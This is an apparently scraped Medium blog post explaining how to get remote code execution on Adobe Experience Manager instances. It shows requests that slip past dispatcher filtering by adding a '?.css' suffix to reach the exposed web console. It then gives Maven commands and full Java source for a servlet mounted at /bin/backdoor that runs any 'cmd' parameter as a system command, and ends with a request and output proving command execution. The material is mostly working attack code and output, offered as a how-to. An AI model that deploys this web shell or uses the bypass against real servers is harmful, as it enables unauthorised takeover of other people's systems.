How to get RCE on AEM instance without Java knowledge

byq
byq
Oct 1 · 9 min read

AEM Overview

AEM Architecture

A view of the AEM internal architecture, taken from the AEM 5.6.1 documentation.

Deployment Topology

A common three tier deployment, taken from the AEM 5.6.1 documentation.

Dispatch Filtering

# only handle the requests in the following acl. default is 'none'
# the glob pattern is matched against the first request line
/filter
{
# deny everything and allow specific entries
/0001 { /type "deny" /glob "*" }
/0023 { /type "allow" /glob "* /content*" }
...
# enable specific mime types in non-public content directories
/0041 { /type "allow" /glob "* *.css *" } # enable css
/0042 { /type "allow" /glob "* *.gif *" } # enable gifs
...
}

Discover

GET /system/console/bundles HTTP/1.1 
Host: example.org
HTTP/1.1 404 Not Found
GET /system/console/bundles?.css HTTP/1.1 
Host: example.org
HTTP/1.1 403 Forbidden
Exposed Web Console at signout.live.com from Darkarnium write-up

Exploit

mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \
-DarchetypeGroupId=com.adobe.granite.archetypes \
-DarchetypeArtifactId=aem-project-archetype \
-DarchetypeVersion=SELECT_FROM_TABLE \
-DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/
mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \
-DarchetypeGroupId=com.adobe.granite.archetypes \
-DarchetypeArtifactId=aem-project-archetype \
-DarchetypeVersion=10 \
-DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/
Define value for property 'groupId': : aem.hacks
Define value for property 'artifactId': : rce.bundle
Define value for property 'version': 1.0-SNAPSHOT: :
Define value for property 'package': aem.hacks: :
Define value for property 'appsFolderName': : aem.hacks
Define value for property 'artifactName': : aem.hacks
Define value for property 'componentGroupName': : aem
Define value for property 'contentFolderName': : aem.hacks
Define value for property 'cssId': : aem
Define value for property 'packageGroup': : aem.hacks
Define value for property 'siteName': : aem.hacks
└── rce.bundle
├── README.md
├── core
│ ├── pom.xml
│ └── src
│ └── main
│ └── java
│ └── aem
│ └── hacks
│ └── core
│ ├── package-info.java
│ └── servlets
│ └── SimpleServlet.java
└── pom.xml
<modules>
<module>core</module>
</modules>
package aem.hacks.core.servlets;import org.apache.felix.scr.annotations.sling.SlingServlet;
import org.apache.sling.api.SlingHttpServletRequest;
import org.apache.sling.api.SlingHttpServletResponse;
import org.apache.sling.api.resource.Resource;
import org.apache.sling.api.servlets.SlingAllMethodsServlet;
import org.apache.sling.api.servlets.SlingSafeMethodsServlet;
import javax.servlet.ServletException;
import java.io.IOException;
import java.io.*;@SuppressWarnings("serial")
@SlingServlet(resourceTypes = "aem.hacks/structure/page", paths = "/bin/backdoor")
public class SimpleServlet extends SlingSafeMethodsServlet {
@Override
protected void doGet(final SlingHttpServletRequest req,
final SlingHttpServletResponse resp) throws ServletException, IOException {
final Resource resource = req.getResource();
Process proc = Runtime.getRuntime().exec(req.getParameter("cmd"));BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));StringBuilder sb = new StringBuilder();
String s = null;
while ((s = stdInput.readLine()) != null) {
sb.append(s + "\n");
}
String output = sb.toString();
resp.setContentType("text/plain");
resp.getWriter().write(output);
}
}
mvn package
...
[INFO] BUILD FAILURE
...
update-alternatives --config java
https://example.org/bin/backdoor?cmd=iduid=1004(publish) gid=1004(publish) groups=1004(publish)

okay.


Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade